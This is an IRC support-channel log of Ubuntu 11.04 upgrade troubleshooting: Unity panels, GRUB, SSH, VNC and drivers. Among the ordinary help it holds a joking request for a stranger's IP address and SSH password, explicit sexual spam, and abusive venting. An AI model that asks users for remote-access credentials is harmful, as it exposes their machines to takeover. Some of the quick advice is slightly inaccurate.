[02:24] <cornell> Hi...  I'm using chromium with ubuntu and of a sudden it seems every page has a banner complaining that adobe flash is out of date.  I'd've thought that the update manager would take care of that.  Anybody else experience this?
[02:24] <zenocon> xsinick - right click -> create launcher...
[02:25] <trism> josefig: is this on 11.04?
[02:25] <LittleRed> Omega: that's what I was thinking, but loading drivers is a pain... even though I'm getting good at it
[02:25] <xsinick> I'm on 11.04
[02:25] <xsinick> yes
[02:25] <xsinick> :(
[02:25] <Omega> LittleRed: loading drivers?
[02:26] <xsinick> how do you add a shortcut icon on the desktop of Natty Narwhal?
[02:26] <LittleRed> Omega: I have a nvidia cardd and I had to manually upgrade the driver with the last 2 releases
[02:26] <tensorpudding> xsinick: did you not read the message i sent you
[02:26] <zenocon> xsinick: i am using 11.04 too, just right click desktop, create launcher...  follow dialog
[02:27] <xsinick> tensorpudding:  yes but that does  work
[02:27] <Omega> LittleRed: Check if the LiveCD works, also you might want to file a bug about that
[02:27] <tensorpudding> xsinick: all the launchers that the launcher/menu/applications things use are in /usr/share/applications, choose which ones you want and copy them into the desktop
[02:27] <bull9408> how do I modify the notification area in 11.04?
[02:27] <josefig> trism, yes it is :)
[02:27] <xsinick> oop
[02:27] <xsinick> oops I see it
[02:28] <LittleRed> Omega: someone had filed a bug on it already, so I didn't bother.Never tried LiveCD
[02:28] <tensorpudding> xsinick: make sure you're copying them; the default is move, which won't work because you don't have permission to delete files from taht directory
[02:28] <trism> josefig: echo manual | sudo tee /etc/init/mongodb.override; that should do it, it should only start when you run: sudo service mongodb start;
[02:28] <zenocon> so, what is the official name of the launcher bar on the left side of the screen, and why does it behave so strange (i.e. auto-hides sometimes, sometimes not)
[02:28] <Omega> LittleRed: if the livecd works, you know that the drivers are fine
[02:28] <bull9408> how do I modify the notification area, and panels, in 11.04?
[02:28] <nutsfornatty> zenocon: that is unity, and you can change the settings using compiz settings manager
[02:28] <xsinick> tensorpudding:   thanks'
[02:29] <nutsfornatty> zenocon: that is window dodge, it will autohide on contact with an active window
[02:29] <josefig> trism, oh I see the mondgo flag manual should be the one, thank you.
[02:29] <wolf__> how can i install the bilut-in webcam on pidgin ??
[02:29] <tepster> zenocon: i thinkn it's just called launcher?
[02:29] <LittleRed> Omega: might try it this weekend. I have other machines I can use to surf to find fixes if needed
[02:29] <tepster> and you can change that behavior
[02:29] <bull9408> how do I modify the panels and notification area in 11.04?
[02:30] <Omega> LittleRed: Good luck, friend :)
[02:30] <wolf__> how can i install the bilut-in webcam on pidgin ??
[02:30] <LittleRed> Omega: thanks... only way to learn these things is to have them break  :-)
[02:30] <zenocon> i'm also seeing weird issue in natty.  if i mouse over window title bar, and click touchpad, i expect to be able to drag, but it won't.  i can drag if i double click title bar and move touchpad.  haven't figured out why yet
[02:30] <tepster> and if you install the compiz manager, you can make the launcher do all sorts of flashy things like giggle or flash.
[02:31] <zenocon> yea, i have ccsm installed, and messed with some things already
[02:31] <xsinick> you should not have to go in the usr/ bin/ crap to get that stuff working
[02:32] <tepster> the only weird issue i had was using it with google chrome..sometimes it doesn't register that i have it open
[02:32] <nutsfornatty> same here @ tepster
[02:32] <xsinick> you should not have to go in the usr/ bin/ crap to get that stuff working
[02:32] <zenocon> haven't installed chrome on this yet.  since ff4 came out, i'm happy with it
[02:32] <druciferre> Does anyone else have a Microsoft Wireless Keyboard 1000 ?
[02:33] <xsinick> you should not have to go in the usr/ bin/ crap to get that stuff working
[02:34] <tepster> i think there's a broken record
[02:34] <nutsfornatty> will be a banned record soon enough
[02:34] <bigeye> In 11.04, where is the panel for tray icon?
[02:35] <LAcan> Can someone help me with VNC real quick? I'm trying to connect from TightVNC on windows to my ubuntu machine but keep getting the error "Server did not offer supported security type!"
[02:35] <w30> zenocon, a window open that area will hide the bar, then you can go to the top left with your mouse or just to the left with delay loitering and it will open over the window that is incroaching n it's  territory
[02:35] <w30> zenocon, a window open that area will hide the bar, then you can go to the top left with your mouse or just to the left with delay loitering and it will open over the window that is incroaching n it's  territory
[02:35] <bigeye> I want to relaunch existing xchat window, but I can't. It is disappeared.
[02:35] <w30> zenocon, woops....
[02:36] <tepster> bigeye: not sure what you mean, but have you tried alt-tab?
[02:36] <zenocon> in compiz -- key bindings might have something like <Alt>KP7 for example, what's KP, i'm guessing short for Key Pad?  what if yer on laptop -- guess have to re-bind that to something else
[02:36] <zenocon> bigeye: try <Alt><Tab> to nav through open applications
[02:37] <LittleRed> Ah there is a kow issue with the nvidia card drivers... have to install a package before the last reboot to resolve it
[02:37] <bigeye> zenocon: tepster: Yes, I did. Maybe xchat window goes to background after closing. so [Alt][Tab] doesn't work..
[02:37] <LittleRed> known*
[02:37] <bull9408> anybody have any idea how to modify the panel, add applets and such, in 11.04??
[02:38] <xsinick> nutsfornatty: linux is about freedom of speech
[02:38] <tepster> bigeye: oh you mean it's minimized?
[02:38] <eiriksvin> <bull9408> easy
[02:38] <Cerda> is there a way in nautilus to assign Libraries like in windows 7 ???
[02:38] <zenocon> if you have compiz enabled, there are lots of other plugins that can do similar.  Try <Super><S>
[02:38] <bull9408> bull9408, ok... what is it? haha
[02:38] <bull9408> crap
[02:38] <Boson> yawn
[02:38] <eiriksvin> <bull9408> just search for the app, run it the right click on it and check the keep in luancher
[02:39] <bull9408> not in the launcher, I want them on the notification areal
[02:39] <anthonyl> seriously wtf
[02:39] <bull9408> like my forcequit app, and my weather applet, and things like that, over near the clock and battery and wifi, etc.
[02:39] <eiriksvin> oh, uh thats a good question
[02:39] <bull9408> yea... cause you can't right click.
[02:39] <bull9408> I can't add a task bar or anything either, I like to modify my panels, but now i can't.
[02:40] <bull9408> it's rather annoying
[02:40] <eiriksvin> thats why i went to classic mode
[02:40] <trism> bull9408: it isn't a gnome-panel, you can't add panel applets, they need to be recoded as indicators to show up there
[02:40] <anthonyl> you fools ruined my girlfriends laptop! how hard is it to not fuck shit like this up
[02:40] <bull9408> trism, ughh. that's really annoying.
[02:40] <bull9408> i miss my gnome.
[02:41] <fogobogo> anthonyl: lol?
[02:41] <anthonyl> :)
[02:41] <trism> bull9408: it's still there in Ubuntu Classic mode
[02:41] <eiriksvin> <anthonyl> uh what is wrong?
[02:41] <Tohuw> !language| anthony1
[02:41] <ubottu> anthony1: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[02:41] <bull9408> trism, haven't tried it yet. might later. just up-ed to 11.04 today
[02:41] <anthonyl> oh i didn't know this was a G rated channel!
[02:41] <fogobogo> anthonyl: just gimme here ip and ssh pw and i will uhm... fix it
[02:41] <bigeye> tepster: I think it is different b/t minimized and going to background. In previous ubuntu, xchat window went to tray when I closed window.
[02:42] <LittleRed> bull9408: how did you upgrade it?
[02:42] <trism> bull9408: the notification area is still there though, but most apps are blacklisted by default, you need to add apps to the whitelist for them to appear
[02:42] <bull9408> trism, yea, i just saw it.
[02:42] <Thedemon007> Hello
[02:42] <eiriksvin> <anthonyl> uh what is wrong?
[02:42] <bull9408> LittleRed, due to a bunch of completely unrelated issues, I acutally installed a new hard drive today, and in the process installed 11.04
[02:42] <bigeye> tepster: But I can't find tray bar in 11.04..
[02:42] <Thedemon007> How do I update my ubuntu 10.10 to 11.04 from an iso or live usb?
[02:42] <eiriksvin> <Thedemon007>hi
[02:43] <LittleRed> bull9408: did you use LiveCD?
[02:43] <Dryfyre> Hey does anyone use 10.04 and have problems with webcam, compaq mini 110 is my pc
[02:43] <anthonyl> to much to say, freezes on startup
[02:43] <tepster> bigeye: oh. i'm not sure. im not using 11.04 at this time
[02:43] <bull9408> LittleRed, yes.
[02:43] <anthonyl> did you add evil to the distribution when you were packaging it this time?
[02:43] <anthonyl> or just fail
[02:43] <anthonyl> <3
[02:43] <zenocon> bigeye: try <Alt><F2> -> gnome-panel
[02:43] <bull9408> LittleRed, well, I used A live CD, i'm not sure if you are reffering to a specific program
[02:43] <LucyIntheSky> just updated to natty and my panels are transparent, panel settings shows nothing about transparency...
[02:43] <anthonyl> anyway now i've got to install windows all night it's very lame
[02:43] <eiriksvin> <Thedemon007>be careful if you have gnome3 or anything like that you dont want to update
[02:43] <fogobogo> dunno. i just use arch
[02:44] <LittleRed> bull9408: what kind of laptop... no liveCD was what I'm looking for...
[02:44] <dagon> how do i get advanced
[02:44] <bull9408> LucyIntheSky, have you checked ccsm under the Ubuntu Unity settings>experimental>panel transperancy
[02:44] <fogobogo> anthonyl: intel gpu?
[02:44] <econdudeawesome> Howdy all. My GUI is busted. I removed KDM, because it randomly started popping up in place of GDM, and only a Kubuntu session would start, regardless of sessions selected.
[02:44] <econdudeawesome> Any ideas?
[02:44] <anthonyl> nvidia
[02:44] <fogobogo> hhmm
[02:44] <bull9408> LittleRed, I have a Fujitsu with a 64 bit Intel processor, what do you have? how weren't any of them what you were looking for?
[02:44] <Thedemon007> create a live usb of ubuntu 11.04 from the creator of ubuntu 10.10 but to run it it not gives me the option to upgrade my ubuntu 10.10
[02:45] <anthonyl> its stuck on TiMidity start actually
[02:45] <fogobogo> anthonyl: oh. if thats all
[02:45] <LittleRed> bull9408: I have a 64 bit Sony...
[02:45] <eiriksvin> <anthonyl>use the 173 driver if your having freezing ussues
[02:45] <anthonyl> is there a solution?
[02:45] <anthonyl> she may love me again if i fix it
[02:45] <tepster> anthonyl: nvidia RIVA or Vanta?
[02:45] <fogobogo> anthonyl: sure. just switch the runlevel and disable it
[02:45] <LucyIntheSky> bull9408, I see no experimental category
[02:45] <econdudeawesome> when I run startx the gui starts, but its like running ubuntu with Unity removed
[02:45] <ozfalcon> How do i remove env variables permantly? I can unset them, But when I log back in they are back. I can't find any location they are set in .bashrc or local home. Does not set for a different user. So is user related.
[02:45] <anthonyl> groann
[02:45] <bull9408> LittleRed, just download Ubuntu 11.04 for 64 bit operating system, mount the .iso to a CD, and voila.
[02:46] <bull9408> LucyIntheSky, it should be a tab.
[02:46] <tepster> I'm guessing it's an nvidia Riva TNT
[02:46] <LittleRed> Bull9408: I have always just upgraed from the update manager, so I was looking for people who used the CD to do the update...
[02:46] <fogobogo> anthonyl: timidity is just a crappy software midi card anyway
[02:46] <bull9408> LittleRed, i didn't update through CD, was a fresh install, I think I updated from a CD a longg time ago, not sure though.
[02:46] <anthonyl> it looks like I was once again wrong to blame someone else for my problems
[02:46] <dagon> this latest version is absolute garbage
[02:46] <anthonyl> but..
[02:46] <pattysmatty> how do we know that evolution mail isn't malware
[02:46] <anthonyl> that won't stop me from doing it again
[02:46] <LittleRed> bull9408: that makes sense with the new hard drive
[02:47] <econdudeawesome> is there a way I can specify which session to use with the "startx" command?
[02:47] <anthonyl> is there a TiMidity i can vent on?
[02:47] <bull9408> LittleRed, yup, I still haven't upgraded my other systems yet though.
[02:47] <pattysmatty> econdudeawesome, i thnk 7 or 8 is good
[02:47] <sary> Thedemon007:thats how you make a fresh install , you can upgrade from-in ubuntu 10.10.
[02:47] <dagon> wtf i can scribble code with a crayon on a Denny's napkin that would run better
[02:47] <econdudeawesome> pattysmatty: what?
[02:47] <LittleRed> bull9408: think I'm going to try my desktop first.... I can't live without my laptop for very long
[02:47] <jrib> econdudeawesome: didn't you ask this yesterday?  And I suggested you setup your ~/.xinitrc?  What's wrong with that?
[02:47] <fogobogo> anthonyl: should be
[02:48] <econdudeawesome> jrib: different computer, different situation
[02:48] <anthonyl> I'm going to to take a picture of my girlfriend , find their mailing list
[02:48] <fogobogo> anthonyl: however, i suspect it to be a ubuntu packaging bug
[02:48] <anthonyl> and put..
[02:48] <eiriksvin> <anthonyl> go to additional drivers and switch to 173, trust me its nVIDIA acting up
[02:48] <anthonyl> "This girl now hates you
[02:48] <pattysmatty> econdudeawesome, nvm i thought tty
[02:48] <anthonyl> "
[02:48] <econdudeawesome> jrib: I set up the ~/,xinitrc just fine for that computer
[02:48] <jrib> econdudeawesome: ok, ignore the first question... why can't you use ~/.xinitrc?
[02:48] <zenocon> what is up with ubuntu software center; try to install skype, "available from natty-partner source", button: Use This Source, click...nada.  doesn't work, can't install.  have to go add sources manually?
[02:48] <anthonyl> oh!
[02:48] <econdudeawesome> pattysmatty: all good
[02:48] <LucyIntheSky> bull9408, sorry Guess im on xfce, do you know how I can make it normal again
[02:48] <nutsfornatty> 11.04 making too many people rage in chat :(
[02:48] <snail> anyone understand fonts? what fontdo i need for http://www.signbank.org/swis/iswa/cat_1.html ?
[02:48] <pattysmatty> how do we know evolution mail doesn't steal your email accounts etc?
[02:48] <econdudeawesome> jrib: not sure--my gdm disappeared (I was using it on this computer).
[02:48] <Thedemon007> I don't want to do a new installation sary
[02:48] <bull9408> LucyIntheSky, make what normal?
[02:48] <AliciaTheBunnyRa> hey boys
[02:48] <jrib> econdudeawesome: so you want to use gdm?
[02:49] <Paolo_CT> Wow, definetly, I needed a fresh install, now almost every bug I was having is gonne (Upgrading from 10.10 to 11.04 gave me way to many bugs)
[02:49] <econdudeawesome> jrib: I would LOVE to use GDM :-)
[02:49] <Thedemon007> As does the installer to detect that I have installed ubuntu 10.10?
[02:49] <jrib> econdudeawesome: what happens when you execute « sudo service gdm start »?
[02:49] <tepster> Paolo_CT: good to hear!
[02:50] <LucyIntheSky> bull9408, my panels
[02:50] <shcherbak> pattysmatty: There is source to read, you can compile yourself if you wish. Idea of open source is that it is open to read and modify.
[02:50] <sparrW> How can I get a taskbar or move the dock to the bottom and un-autohide it in 11.04?
[02:50] <nutsfornatty> thedemon007: the installer will detect your OSs. in case if 10.10 you have the option to upgrade
[02:50] <tom11> sorry quick/dumb question...I'm upgrading to 11.04 from 10.10 and got the question "what do you want to do about modified configuration file grub?"....i dual boot with windows 7 so can i just keep my local version? thanks
[02:50] <bull9408> LucyIntheSky, are you still running 10.10
[02:50] <AliciaTheBunnyRa> any1 want 2 cyber
[02:50] <sary> Thedemon007: Alright, then  for more information on how to upgrade
[02:50] <Thedemon007> may not detect it because I have archlinux and this governs the mbr and grub
[02:50] <Paolo_CT> tepster: THe ALT+TAB works, the problems with empathy are gonne, but I still got a problem with the tild in the unity search
[02:50] <AliciaTheBunnyRa> who wants to cyberfuck my tight cunt?
[02:50] <sary> Thedemon007: yes i does.
[02:50] <AliciaTheBunnyRa> yeaaaaa
[02:50] <econdudeawesome> jrib: it starts gdm :-D
[02:50] <LucyIntheSky> bull9408, no upgraded to natty
[02:50] <pattysmatty> shcherbak, how do we know that the packages aren't corrupt
[02:51] <Paolo_CT> tepster: Anyway, now I will install, Im running it in test mode
[02:51] <shcherbak> AliciaTheBunnyRa: Wrong channel?
[02:51] <tepster> Paolo_CT: Hmm..I havent tried that..i'm not on ubuntu right now
[02:51] <sary> !upgrade | Thedemon007
[02:51] <ubottu> Thedemon007: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[02:51] <dagon> this release is a waste of time
[02:51] <bull9408> LucyIntheSky, what exactly is wrong with the panels?
[02:51] <econdudeawesome> jrib: how do I ensure this works the next time I reboot?
[02:51] <AliciaTheBunnyRa> k shcherbak thanks for ruining the mood
[02:51] <LucyIntheSky> they are both transparent even though I told it not to touch my config
[02:51] <dagon> Ubuntu I'm very dissapointed
[02:51] <jrib> econdudeawesome: did gdm ever start?
[02:51] <econdudeawesome> jrib: yes
[02:51] <trism> sparrW: you can disable launcher hiding in compizconfig-settings-manager under the unity plugin, you probably can't move it easily
[02:51] <Paolo_CT> tepster: I will go ask in ubuntu-es about the tild bug
[02:51] <nutsfornatty> dagon: this release is very usable if you take the time to learn how to 1) use fullscreen apps and 2) use keyboard shortcuts. I love it.
[02:51] <Paolo_CT> dagon: why=
[02:51] <bull9408> LucyIntheSky, I wish I could tell you how, but it did the same to me, I suppose they removed all Gnome panels, so I don't have any of mine anymore
[02:51] <jrib> econdudeawesome: do you have any idea what changed when it stopped starting?
[02:52] <bull9408> LucyIntheSky, it kinda $*(@)%) me off...
[02:52] <rfxcasey_> Hello, I installed sensors with sudo apt-get iinstall lm-sensors. After installing I run sudo sensors-detect and after letting it run and telling it yes to all sensor scans the summary says Driver 'via686': * Chip 'VIA VT82c686 Integrated Sensors' (confidence: 9)
[02:52] <econdudeawesome> jrib: my wife did something, but I'm not sure what. According to her, she plugged in her ipod before she started the computer, and it went to KDM
[02:52] <LucyIntheSky> bull9408, im on xfce not gnome.
[02:52] <eiriksvin> i think that when they bumped Gnome3 they shouldnt have, they should have worked it so you could load either one
[02:52] <bigeye> tepster, zenocon: It works! Thanks :)
[02:52] <nutsfornatty> you can boot into classic ubuntu (login screen -> look at lower menu -> change "ubuntu" to "classic ubuntu" -> login)
[02:53] <jrib> econdudeawesome: so kdm starts now?
[02:53] <shcherbak> pattysmatty: There is source of package on ubuntu website, you can *really* buildit yourself, also ngrep, iptables and more tools can help you monitor data exchnage over netwoks
[02:53] <bull9408> LucyIntheSky... hmm... I'm not sure what the terminal command is for that, sorry
[02:53] <nutsfornatty> if you believe unity to be flawed, dont use it and instead boot to classic (and enjoy your panels etc)
[02:53] <econdudeawesome> jrib: I removed kdm and kdebase-bin, figuring it would give me the option to choose gdm (also purged the two packages)
[02:53] <pattysmatty> shcherbak, cool that makes me feel better
[02:53] <econdudeawesome> jrib: I haven
[02:53] <fogobogo> xfce4 is pretty good these days...
[02:53] <econdudeawesome> jrib: I haven't used KDE in months, and figured it wouldn't hurt to remove (though I typically do so in synaptic)
[02:54] <jrib> econdudeawesome: so what happens now when you boot?
[02:54] <dagon> learn me how to get advanced features for my compiz
[02:54] <tom11> do i have to install package maintainer's version of grub when upgrading to 11.04? will that mess up my win 7 dual boot? thanks
[02:54] <eiriksvin> dagon im looking to do the same thing
[02:54] <tepster> what sort of advance features are you looking for
[02:54] <jrib> tom11: view the differences and decide
[02:54] <econdudeawesome> jrib: well, now that I started the gdm service, I'm not sure. Before I did that, it would boot up to "battery state" notification, and then hang (I've seen it do that on the computer I set up for text login yesterday, so I knew I could tty at least)
[02:55] <dagon> bah why would they take that out
[02:55] <dagon> rediculas
[02:55] <econdudeawesome> jrib: but beginning the gdm service allowed me to log in as normal
[02:55] <magpii> i just had my system upgrade to 11. something, can someone show me how to get compiz back on? all my desktop settings are reset
[02:55] <dagon> and this unity thing should be called headache
[02:55] <econdudeawesome> jrib: should I reboot and see if hte issue is fixed?
[02:56] <dagon> I hope for the love of god Ubuntu is not selling out
[02:56] <jrib> econdudeawesome: sure, you may want to check /etc/X11/default-display-manager first though
[02:56] <tepster> dagon: install ccsm
[02:56] <econdudeawesome> jrib: is this a file or a folder?
[02:56] <dagon> it is installed
[02:56] <dagon> tepster,
[02:56] <LittleRed> dagon: what makes you think that?
[02:56] <jrib> econdudeawesome: file
[02:56] <tepster> can't you access the features?
[02:57] <dagon> why the heck is it gone
[02:57] <aj00200> I have 2 things I need help with. 1) My system has been extremely unstable after the 11.04 update including 6 crashes in about 5 hours today (where the screen freezes and the caps lock light blinks). 2) After restarting after my latest crash, the latest kernel image (It crashed somewhere during the install, I restarted and completed the install without errors) causes my screen to blink during startup and not boot completely. An
[02:57] <econdudeawesome> jrib: done. Changed to GDM. I'll restart and see what happens--I may be back. Thanks much for your expert advice
[02:57] <tom11> jrib: sorry i'm not sure how to interpret the differences...http://paste.ubuntu.com/603070/
[02:58] <jrib> tom11: go with the new version, the only significant change is that an option seems to have been renamed
[02:58] <Fireblasto> Hi, I've recently upgraded to ubuntu 11.04 on my netbook, and I am liking the new user interface, especially on my smaller screen. However, is there any way of changing the panel's position at the top to the bottom?
[02:58] <zenocon> digging the move, resize, snap compiz plugins.  so much more efficient that mac os
[02:59] <jrib> tom11: and it's commented anyway :)
[02:59] <tom11> jrib: ha okay thanks for your help
[03:00] <tom11> jrib: when i went from 9.10 to 10.04 to 10.10 i royally messed up grub so just a little skiddish this time
[03:00] <zenocon> last time i tried cube rotate, it went berzerk-o.  scared to try it again, but i want that
[03:00] <eiriksvin> is there a way to get more plugins for compiz?
[03:00] <econdudeawesome> jrib: success. Thanks man
[03:00] <dagon> anyone know how to get adavanced or is it totally gone
[03:00] <eiriksvin> i want to make my windows have that glow around the
[03:00] <eiriksvin> ouside
[03:01] <zenocon> glow?
[03:01] <shcherbak> eiriksvin: PPA (some extra stuff, grid etc.)
[03:01] <zenocon> i think there is one that lights your window on fire
[03:01] <eiriksvin> 'how?
[03:02] <shcherbak> eiriksvin: You need to look for "extra compiz plugins ubuntu", PPA have instuctions how to add repos and what to install.
[03:02] <shcherbak> !ppa > eiriksvin
[03:02] <ubottu> eiriksvin, please see my private message
[03:02] <eiriksvin> thanx
[03:03] <Hello> Any good programs for Ubuntu
[03:03] <LAcan> how can I check if SSH is active and listening?
[03:03] <shcherbak> Hello: Yes, many.
[03:03] <shcherbak> LAcan: sudo netstat -tulp
[03:03] <zenocon> Hello: try troll-hunter
[03:03] <Hello> like which?
[03:03] <anthonyl> hey
[03:03] <neon___> WOW!! what the hell they were thinking when they developed the latest ubuntu
[03:03] <anthonyl> my girlfriend still wants me to give you guys a hardtime
[03:04] <Hello> Ok I am using windows but my Ubuntu desktop is by me
[03:04] <anthonyl> lets make untested releases durring finals at most schools in the usa herp derp herp herp
[03:04] <anthonyl> well not untested, just buggy
[03:04] <anthonyl> ok gtg!
[03:05] <anthonyl> again i'm fine with it..etc i'm just taking orders
[03:05] <anthonyl> <3
[03:05] <xiaoji> I have a question..why can't I succeed to install the gnome3 at 11.04?IT always  collapse
[03:05] <LAcan> shcherbak, and if I dont see ssh or 22 then I can assume its not running?
[03:05] <tepster> is it a full moon in here tonight?
[03:06] <shcherbak> LAcan: most likely, sudo srvice ssh restart
[03:06] <tjiggi_fo> !gnome3 | xiaoji
[03:06] <ubottu> xiaoji: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[03:07] <neon___> i feel like an 85 year old granma that needs big buttons for everything when using the latest ubuntu
[03:07] <LAcan> shcherbak, i get 'unknown service: ssh'
[03:08] <Fireblasto> Hi, I've recently upgraded to ubuntu 11.04 on my netbook, and I am liking the new user interface, especially on my smaller screen. However, is there any way of changing the panel's position at the top to the bottom?
[03:08] <LAcan> shcherbak, sorry "ssh: unrecognized service"
[03:08] <LAcan> Fireblasto, right click the panel, properties
[03:08] <shcherbak> LAcan: try: cat /etc/ssh/sshd.config , if it do not exist install openssh-server
[03:08] <xiaoji> Thanks very much.you mean that in recently days,I'd matter not install the gnome3?but unity is not fit my habits
[03:09] <LAcan> oooohhh openssh-server i dont think is installed
[03:09] <anthonyl> next time time the updates to not  interfere with finals! -----my girlfriend says this.
[03:09] <neon___> unity is a joke
[03:09] <xiaoji> why?
[03:09]  * cheapie is accepring support requests
[03:09] <neon___> what moron came up with that interface
[03:09] <Fireblasto> LAcan, I've tried the original method of how you would sort the panel positions, but when I right click the panel, there is no menu popping up. I'm using the new unity interface.
[03:10] <todd2> need some help with wifi problems on Dell Inspiron 1501
[03:10] <cheapie> Fireblasto: That is not yet implemented in Unity.
[03:10] <aj00200> I have 2 things I need help with. First, my system has been rather unstable after the 11.04 update and crashes (screen freeze with a blinking Caps Lock light). Any ideas on how to troubble shoot that or file a bug report>
[03:10] <cheapie> todd2: What's wrong?
[03:10] <tjiggi_fo> xiaoji, wait till it's out of the experimental stage
[03:10] <todd2> cheapie: upgraded and now my wifi is turned "off"
[03:11] <cornell> Thanks all, TTFN
[03:11] <cheapie> todd2: As in you can't turn it on at all?
[03:11] <Fireblasto> cheapie, well that just sucks then, I'm really digging the new interface but certain aspects are really letting me down.
[03:11] <neon___> we suppose to move forward and this latest update seems to take us back to the 80's
[03:11] <slinger2519> Hey can I get some help hacking the bios of a Dell latitude 2110 so I change the boot sequence
[03:11] <todd2> cheapie: no, try running some code last night to "activate STA", but didn't work
[03:11] <cheapie> Fireblasto: Unity is under heavy development. It's about 6 monts old.
[03:11] <neon___> unity is a joke
[03:11] <cheapie> todd2: Can you upload the output of ifconfig to pastebin?
[03:12] <doc-saintly> What is the default key to scroll up/down in a screen in ubuntu?
[03:12] <Fireblasto> cheapie, yeah, hopefully it will be made better!
[03:12] <cheapie> neon___: ...you can stop now...
[03:12] <LAcan> shcherbak, success!
[03:12] <QuikNik> Hey guys, am I not supposed to have a '/boot/grub/menu.lst' file that I can use for updating my grub menu?  I'm trying to get my install of 11.04 to boot the older kernel.. as my system doesn't like the 2.6.38 kernel.  It's listed in previous versions, but I need to change grub to default to it
[03:12] <QuikNik> any ideas?
[03:12] <todd2> cheapie: remind me how pastebin works?  Haven't done it in a long while
[03:12] <neon___> i'm just venting, cause we can do better
[03:12] <cheapie> QuikNik: Grub2 uses grub.cfg
[03:13] <shcherbak> neon___: You *really* do not have to use it, but some people spent time on it, so...
[03:13] <cheapie> !pastebin | todd2
[03:13] <ubottu> todd2: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[03:13] <edbian> QuikNik: /etc/default/grub
[03:13] <QuikNik> cheapie: D'oh... thanks
[03:13] <neon___> how we suppose to reach the masses when we released stuff like this
[03:13] <Fireblasto> doc-saintly, the normal keys used are the up and down arrows? Just like windows.
[03:13] <bazhang> neon___, venting in #ubuntu-offtopic NOT here
[03:13] <Jordan_U> QuikNik: You change settings in /etc/default/grub.
[03:14] <QuikNik> Jordan_U, edbian: Gotcha, thanks
[03:14] <LAcan> ohffs
[03:14] <edbian> QuikNik: sure :)
[03:15] <doc-saintly> Fireblasto: when i'm in... well, mid sentence i decided  to double check and it works :S, thanks!
[03:15] <cheapie> What ever happened to todd2?
[03:15] <todd2> cheapie: here's my ifconfig http://paste.ubuntu.com/603075/
[03:15]  * LAcan needs help with VNC bad..SSH is working, I can get a terminal (PuTTY) but TightVNC on Vista always returns "Server did not offer supported security type!" HELP!
[03:15] <shcherbak> LAcan: ohffs?
[03:15] <xiaoji> can I download a deb package form a website?
[03:15] <tepster> I like the launchbar thing actually, neon___
[03:15] <LAcan> shcherbak, see above
[03:15] <xiaoji> em.. gnome3 deb package
[03:15] <LAcan> shcherbak, i cant get VNC to work :(
[03:16] <cheapie> todd2: OK. Try running 'lspci | grep wireless' and see if that returns anything.
[03:16] <tepster> a lot of people love unity
[03:16] <Aren> When I was on ubuntu hardy, I had no problems whatsoever.  Upgrading to 10.10 my wifi card started acting screwy...randomly disconnecting.  Now on 11.04 it barely stays on for more than a minute at a time before cutting out.  My laptop is a gateway T-1625, and I'm not finding anything through google that has helped me so far, and I really don't want to go back down to hardy just to get a solid wireless connection again.  Can someone he
[03:16] <Jordan_U> QuikNik: Since Ubuntu now puts menu entries in a submenu, here is the documentation for specifying an entry within a submenu in /etc/default/grub : http://www.gnu.org/software/grub/manual/grub.html#default
[03:16] <Aren> slow compared to the onboard wifi. :(
[03:16] <todd2> cheapie:  did not return anything
[03:16] <Fireblasto> doc-saintly :) If you are using a IRC client though, the up and down arrows actually select the lines that you already posted. Additionally, you can use the page up and page down keys for greater distances
[03:16] <PatoVW> hi, im trying to update from 10.10 to 11.04 booting from live usb, but it doesnt show the update option
[03:17] <QuikNik> Jordan_U: Great, thank you!
[03:17] <cheapie> todd2: Do you know what chip your wireless card/stick/whatever uses?
[03:17] <Jordan_U> QuikNik: You're welcome.
[03:17] <shcherbak> LAcan: ssh and vnc are two different services, they can be connected (somehow), vnc have some compatibilities win M$, but not every version.
[03:18] <Jordan_U> PatoVW: There is no upgrade option on the live install media. Just use update manager in your booted 10.10 system.
[03:18] <AlexGer> helo, i need your help please
[03:18] <variable> AlexGer: don't ask to ask; just ask
[03:18] <LAcan> shcherbak, ya looking thru the ubuntu wiki here it says u have to have SSH tunnel first, which i have and is working...
[03:18] <xiaoji> into the live cd  interface.. you will find a program to upgrade
[03:18] <todd2> cheapie: can't tell you what chip, but it's a Broadcom STA driver for Broadcom 4311
[03:18] <genjix> sudo do-release-upgrade says 'No new release found'... I've done apt-get update but still not working
[03:18] <eiriksvin> how do i take screen video with ubuntu?
[03:19] <AlexGer> i didn't realy asked to ask :-)
[03:19] <genjix> using Lynx
[03:19] <Jordan_U> !upgrade | genjix
[03:19] <ubottu> genjix: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[03:19] <AlexGer> i installed ubuntu in english to tell you the correct error message:
[03:19] <cheapie> todd2: OK. Can you run lsmod and upload that to pastebin?
[03:19] <PatoVW> ok, but is there a way to use the download cd to update or I just have to do it from internet
[03:19] <edbian> todd2: cheapie sudo apt-get install firmware-b43-installer
[03:19] <Aren> I asked immediately, rather than asking to ask, and it just feels like I'm getting ignored. *shrugs*
[03:19] <AlexGer> [!]Install the base System
[03:19] <shcherbak> LAcan: Hm, with vnc i cannot be much of help.
[03:19] <AlexGer> No installable kernel was found in the defined APT sources.
[03:19] <LAcan> shcherbak, ok thanks for the help with SSH
[03:19] <AlexGer> You may try to continue without a kernel, and manually install your own kernel Later.
[03:19] <todd2> edbian:  did that last night... nada
[03:19] <Jordan_U> Aren: You're not being ignored. If nobody knows the answer then nobody will answer you.
[03:20] <edbian> todd2: cheapie Did you have a plan of action?
[03:20] <genjix> Jordan_U: i do what it says in the guide but it's not upgrading
[03:20] <AlexGer> This is only recommended for experts, otherwise you will likely end up with a machine that doesn#t boot.
[03:20] <AlexGer> Continue without installing a kernel? <Go Back> <Yes> <No>
[03:20] <AlexGer> that's my problem
[03:20] <xiaoji> wow~,so many people..  i cant glimpse the latest speake
[03:20] <AlexGer> :-9
[03:21] <Zombiedeadshot> hello i have a advanced question about the live cd's can some one help?
[03:21] <uRock> what folder are installed .deb files stored in?
[03:21] <eiriksvin> how do i take screen video with ubuntu?
